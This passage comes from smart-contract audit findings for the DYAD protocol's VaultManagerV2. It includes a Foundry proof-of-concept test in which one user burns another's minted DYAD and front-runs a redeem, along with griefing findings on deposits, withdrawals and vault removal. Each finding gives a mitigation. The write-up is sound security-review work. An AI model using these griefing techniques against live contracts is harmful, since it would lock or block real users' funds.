    Vault _vault = Vault(vault);
    uint asset = amount 
                  * (10**(_vault.oracle().decimals() + _vault.asset().decimals())) 
                  / _vault.assetPrice() 
                  / 1e18;
    withdraw(id, vault, asset, to);
    emit RedeemDyad(id, vault, amount, to);
    return asset;
}

Proof of Concept

This test shows that everyone can burn any user’s tokens and then user can withdraw only up to his mintedDyad and rest of his tokens will be locked in the DYAD contract.

In second test redeemDyad will revert with arithmetic if Alice was frontrun by someone when she want to redeem her whole DYAD balance.

In order to execute the test:

1. Add virtual to the setUp of BaseTest file.
2. Create new file and place the entire content there, then execute:

forge test --match-test test_decrease_mintedDyad_of_another -vv

// SPDX-License-Identifier: MIT
pragma solidity =0.8.17;

import "forge-std/console.sol";

import {BaseTest} from "./BaseTest.sol";
import {IVaultManager} from "../src/interfaces/IVaultManager.sol";
import {VaultManagerV2} from "../src/core/VaultManagerV2.sol";
import {Vault} from "../src/core/Vault.sol";
import {ERC20} from "@solmate/src/tokens/ERC20.sol";
import {IAggregatorV3} from "../src/interfaces/IAggregatorV3.sol";
import {ERC20Mock} from "./ERC20Mock.sol";

contract VaultManagerV2Test is BaseTest {
    VaultManagerV2 vaultManagerV2;

    function setUp() public override {
        super.setUp();

        vaultManagerV2 = new VaultManagerV2(dNft, dyad, vaultLicenser);

        wethVault = new Vault(vaultManagerV2, ERC20(address(weth)), IAggregatorV3(address(wethOracle)));

        vm.prank(vaultLicenser.owner());
        vaultLicenser.add(address(wethVault));

        vm.prank(vaultManagerLicenser.owner());
        vaultManagerLicenser.add(address(vaultManagerV2));
    }

    function mintDNFTAndDepositToWethVault(address user, uint256 amountAsset, uint256 amountDyad)
        public
        returns (uint256 nftId)
    {
        vm.deal(user, 2 ether);
        vm.startPrank(user);
        nftId = dNft.mintNft{value: 2 ether}(user);

        vaultManagerV2.add(nftId, address(wethVault));

        weth.mint(user, amountAsset);
        weth.approve(address(vaultManagerV2), amountAsset);

        vaultManagerV2.deposit(nftId, address(wethVault), amountAsset);
        vaultManagerV2.mintDyad(nftId, amountDyad, user);
        vm.stopPrank();
    }

    function test_decrease_mintedDyad_of_another() public {
        address bob = makeAddr("Bob");
        address alice = makeAddr("Alice");

        uint256 bobNft = mintDNFTAndDepositToWethVault(bob, 1.5e18, 1000e18);
        uint256 aliceNft = mintDNFTAndDepositToWethVault(alice, 1.5e18, 1000e18);

        vm.prank(bob);
        vaultManagerV2.burnDyad(aliceNft, 1e18);

        assertGt(dyad.balanceOf(alice), dyad.mintedDyad(address(vaultManagerV2), aliceNft));

        vm.roll(block.number + 1);

        vm.startPrank(alice);
        console.log("Alice DYAD balance before redeem:", dyad.balanceOf(alice)); // 1000 DYAD
        vaultManagerV2.redeemDyad(aliceNft, address(wethVault), dyad.mintedDyad(address(vaultManagerV2), aliceNft), alice); // She can redeem max 999 DYAD
        console.log("Alice DYAD balance after redeem:    ", dyad.balanceOf(alice)); // 1 DYAD left and cannot be redeemed
        vm.stopPrank();
    }
    
    function test_decrease_mintedDyad_of_another_revert() public {
        address bob = makeAddr("Bob");
        address alice = makeAddr("Alice");

        uint256 bobNft = mintDNFTAndDepositToWethVault(bob, 1.5e18, 1000e18);
        uint256 aliceNft = mintDNFTAndDepositToWethVault(alice, 1.5e18, 1000e18);

        vm.prank(bob);
        vaultManagerV2.burnDyad(aliceNft, 1); // Frontrunning full redeem by burning 1 wei

        assertGt(dyad.balanceOf(alice), dyad.mintedDyad(address(vaultManagerV2), aliceNft));

        vm.roll(block.number + 1);

        vm.startPrank(alice);
        vaultManagerV2.redeemDyad(aliceNft, address(wethVault), dyad.balanceOf(alice), alice); // She can redeem max 1000 DYAD - 1 wei
        vm.stopPrank();
    }
}

Tools Used

Manual Review

Recommended Mitigation Steps

Instead of using isValidDNft modifier in burnDyad , consider using isDNftOwner.

Assessed type

Context

Lines of code

https://github.com/code-423n4/2024-04-dyad/blob/main/script/deploy/Deploy.V2.s.sol#L62-L65 https://github.com/code-423n4/2024-04-dyad/blob/main/src/core/VaultManagerV2.sol#L80-L91

Vulnerability details

Impact

addKerosine() is intended to add BoundedKerosineVault and UnboundedKerosineVault to the VaultManagerV2. But since the addKerosine() check if the vault isLicensed in KerosineManager it will always revert for kerosine vaults, because in KerosineManager are stored only the exogenous vaults based on which the kerosine price is determined.

Proof of Concept

Deploy.V2.s.sol#L62-L65

KerosineManager kerosineManager = new KerosineManager();

kerosineManager.add(address(ethVault));
kerosineManager.add(address(wstEth));

VaultManagerV2.sol#L80-L91

function addKerosene(
    uint    id,
    address vault
) 
  external
    isDNftOwner(id)
{
  if (vaultsKerosene[id].length() >= MAX_VAULTS_KEROSENE) revert TooManyVaults();
  if (!keroseneManager.isLicensed(vault))                 revert VaultNotLicensed();
  if (!vaultsKerosene[id].add(vault))                     revert VaultAlreadyAdded();
  emit Added(id, vault);
}

Tools Used

Manual Review

Recommended Mitigation Steps

Since only exogenous vaults will be added in KerosineManager, make sure you can also add kerosene vaults in addKerosine(), by removing this check.

Assessed type

Invalid Validation

Low Risk

Non-Critical

Low Risks

[L-01] VaultManagerV2::deposit/withdraw does not validate if vault isLicensed

Issue Description:

Users can lose their assets if they deposit in the wrong vault because there is a missing isLicensed check.

safeTransferFrom doesn’t validate whether an asset is not address(0) and whenever users pass the wrong vault their entire deposit will be lost.

VaultManagerV2.sol#L119-L131

  function deposit(
    uint    id,
    address vault,
    uint    amount
  ) 
    external 
      isValidDNft(id)
  {
    idToBlockOfLastDeposit[id] = block.number;
    Vault _vault = Vault(vault);
    _vault.asset().safeTransferFrom(msg.sender, address(vault), amount);
    _vault.deposit(id, amount);
  }

Recommendation:

Add the isLicensed modifier to the deposit function:

 function deposit(
    uint    id,
    address vault,
    uint    amount
  ) 
    external 
      isValidDNft(id)
+     isLicensed(vault)
  {
    idToBlockOfLastDeposit[id] = block.number;
    Vault _vault = Vault(vault);
    _vault.asset().safeTransferFrom(msg.sender, address(vault), amount);
    _vault.deposit(id, amount);
  }

[L-02] KerosineManager::remove and Licenser::remove will make all the positions liquidatable

Issue Description:

Removing an vault which has non-zero deposits will make all the positions, in it appear as undercollateralized, because it won’t be accounted for in the getKeroseneValue and getNonKeroseneValue and the collateral of the user will appear as zero, when it is not. This will make the following check to return much lower collateral ratio and all the positions who has been deposited in this vault will be immediately liquidated:

VaultManager.sol#L230-L239

  function collatRatio(
    uint id
  )
    public 
    view
    returns (uint) {
      uint _dyad = dyad.mintedDyad(address(this), id);
      if (_dyad == 0) return type(uint).max;
      return getTotalUsdValue(id).divWadDown(_dyad);//ISSUE in case of remove getTotalUsdValue(id) will be missing the removed asset, despite there are deposits into it.
      //Equation becomes: much lower number / same amount of dyad tokens minted against the real value of the collateral.
  }

Recommendation:

Add a check whether there are some deposits in this vault, if so, revert, otherwise remove it successfully.

[L-03] Depositors using EOAs will have to deposit twice to mint the desired amount

Issue Description:

Due to missing function which deposits collateral and mints DYAD tokens at the same time, EOA users can be forced to deposit once again, if between the deposit and mintDyad functions price of the deposited collateral decreases.

The ones who will face this issue most frequently are the liquidators, they will usually deposit and mint around 150% collateral ratio. Moreover, since the vault assets will be highly volatile (WETH and wstETH), slightly decrease in price in between the 2 transaction will make them undercollateralized and they either will have to deposit more, face the liquidation or intentionally burn their DYAD tokens, instead of successfully liquidating the desired dNft.

We can observe that there is a redeemDyad function that burns the DYAD tokens and withdraws from the Vault in the same transaction, but there isn’t for deposit.

VaultManagerV2.sol#L119-L131

  function deposit(
    uint    id,
    address vault,
    uint    amount
  ) 
    external 
      isValidDNft(id)
  {
    idToBlockOfLastDeposit[id] = block.number;
    Vault _vault = Vault(vault);
    _vault.asset().safeTransferFrom(msg.sender, address(vault), amount);
    _vault.deposit(id, amount);
  }

VaultManagerV2.sol#L156-L169

  function mintDyad(
    uint    id,
    uint    amount,
    address to
  )
    external 
      isDNftOwner(id)
  {
    uint newDyadMinted = dyad.mintedDyad(address(this), id) + amount;
    if (getNonKeroseneValue(id) < newDyadMinted)     revert NotEnoughExoCollat();
    dyad.mint(id, to, amount);
    if (collatRatio(id) < MIN_COLLATERIZATION_RATIO) revert CrTooLow(); 
    emit MintDyad(id, amount, to);
  }

Recommendation:

Add function that deposit and mints in the same transaction.

[L-04] VaultManagerV2::withdraw can be blocked at no cost

Issue Description:

Since everyone with minted dNft can call VaultManagerV2::deposit, front run protection which was added to the V2 of the VaultManager can be utilized by a griefer to block any call to withdraw function with 0 tokens transfer (if asset supports it, otherwise 1 wei is enough). When someone calls deposit function, idToBlockOfLastDeposit[id] is set to the current block.number . After that idToBlockOfLastDeposit[id] is used in the withdraw function. Now anyone with a minted dNft can call deposit with 0 wei on behalf of a user, frontrunning his withdraw execution. The result will be a DoS for the withdrawer of the duration (or even more if the liquidator is financially incentivised to do it) of a block.

VaultManagerV2.sol#L127

  function deposit(
    uint    id,
    address vault,
    uint    amount
  ) 
    external 
      isValidDNft(id)
  {
    idToBlockOfLastDeposit[id] = block.number; //ISSUE set to current
    Vault _vault = Vault(vault);
    _vault.asset().safeTransferFrom(msg.sender, address(vault), amount);
    _vault.deposit(id, amount);
  }

VaultManagerV2.sol#L143

function withdraw(
    uint    id,
    address vault,
    uint    amount,
    address to
  ) 
    public
      isDNftOwner(id)
  {
    if (idToBlockOfLastDeposit[id] == block.number) revert DepositedInSameBlock();//ISSUE revert on current
    uint dyadMinted = dyad.mintedDyad(address(this), id);
    Vault _vault = Vault(vault);
    uint value = amount * _vault.assetPrice() 
                  * 1e18 
                  / 10**_vault.oracle().decimals() 
                  / 10**_vault.asset().decimals();
    if (getNonKeroseneValue(id) - value < dyadMinted) revert NotEnoughExoCollat();
    _vault.withdraw(id, to, amount);
    if (collatRatio(id) < MIN_COLLATERIZATION_RATIO)  revert CrTooLow(); 
  }

Recommendation:

Check if the deposit occured at the same block.number as the withdraw is from the withdrawer itself, otherwise revert.

[L-05] VaultManagerV2::remove and removeKerosene can be blocked for 1 wei

Issue Description:

Anyone can block removal of vault in the VaultManagerV2 contract by simply depositing at least 1 wei, this will make the id2asset of this nftId non-zero and grief the removal.

The issue is possible because everyone can deposit to any dNft, even without having one.

VaultManager.sol#L94-L116

 function remove(
      uint    id,
      address vault
  ) 
    external
      isDNftOwner(id)
  {
    if (Vault(vault).id2asset(id) > 0) revert VaultHasAssets();//ISSUE
    if (!vaults[id].remove(vault))     revert VaultNotAdded();
    emit Removed(id, vault);
  }

  function removeKerosene(
      uint    id,
      address vault
  ) 
    external
      isDNftOwner(id)
  {
    if (Vault(vault).id2asset(id) > 0)     revert VaultHasAssets();//ISSUE
    if (!vaultsKerosene[id].remove(vault)) revert VaultNotAdded();
    emit Removed(id, vault);
  }

Recommendation:

Instead of reverting when id2asset is a non-zero, just execute the withdraw function once again with the amount, this will send the donated tokens to the owner of that nft.

[L-06] Deployment script deploys bounded kerosine without calling setUnboundedKerosineVault

Issue Description:

Deployment of the BoundedKerosineVault happens without calling setUnboundedKerosineVault, that will eventually make the price of the asset 0, when admin license it and users begin to use it. The consequences will be that it won’t support depositor’s collateral rate and will limit their minting capabilities.

DeployV2.sol#L78-L82

 BoundedKerosineVault boundedKerosineVault     = new BoundedKerosineVault(
      vaultManager,
      Kerosine(MAINNET_KEROSENE), 
      kerosineManager
    );

Recommendation:

Despite that it is not going to be used for now, call the setUnboundedKerosineVault in the script as well.

[L-07] Lack of pausing functionality

Issue Description:

All the contracts are lacking pausable functionality, which can be crucial for preventing potential exploits that can occur in the system. Currently, there is no way to freeze the system, unless there are no funds in it. In the other scenarios, contracts are completely helpless.

Recommendation:

The most straightforward solution would be to use the Pausable from OpenZeppelin - https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/utils/Pausable.sol

Non-Critical

[N‑01] Typos

Issue Description:

There are numerous typographical errors presented in the contracts in scope:

ethVault, should be wethVault - https://github.com/code-423n4/2024-04-dyad/blob/main/script/deploy/Deploy.V2.s.sol#L49

wstEth, should be wstEthVault - https://github.com/code-423n4/2024-04-dyad/blob/main/script/deploy/Deploy.V2.s.sol#L56

[N-02] Wrong vault contract is used in VaultManagerV2

Issue Description:

KerosineVault and Vault are two different base class. When cast kerosine vault address to use their function, it cast them to Vault, instead of KerosineVault.

VaultManagerV2.sol#L94-L104

VaultManagerV2.sol#L269-L286

function removeKerosene(
    uint    id,
    address vault
) 
  external
    isDNftOwner(id)
{
  if (Vault(vault).id2asset(id) > 0)     revert VaultHasAssets(); // @audit - use KerosineVault
  if (!vaultsKerosene[id].remove(vault)) revert VaultNotAdded();
  emit Removed(id, vault);
}

function getKeroseneValue(
  uint id
) 
  public 
  view
  returns (uint) {
    uint totalUsdValue;
    uint numberOfVaults = vaultsKerosene[id].length(); 
    for (uint i = 0; i < numberOfVaults; i++) {
      Vault vault = Vault(vaultsKerosene[id].at(i)); // @audit - use KerosineVault
      uint usdValue;
      if (keroseneManager.isLicensed(address(vault))) {
        usdValue = vault.getUsdValue(id);        
      }
      totalUsdValue += usdValue;
    }
    return totalUsdValue;
}

[N-03] burn() doens’t check if have enough mintedDyad

Issue Description:

burn() doens’t check if the amount passed is ≤ mintedAmount. Which will cause the function to revert, make it possible to burn the whole amount if pass higher amount.

VaultManagerV2.sol#L172-L181

function burnDyad(
  uint id,
  uint amount
) 
  external 
    isValidDNft(id)
{
  dyad.burn(id, msg.sender, amount);
  emit BurnDyad(id, amount, msg.sender);
}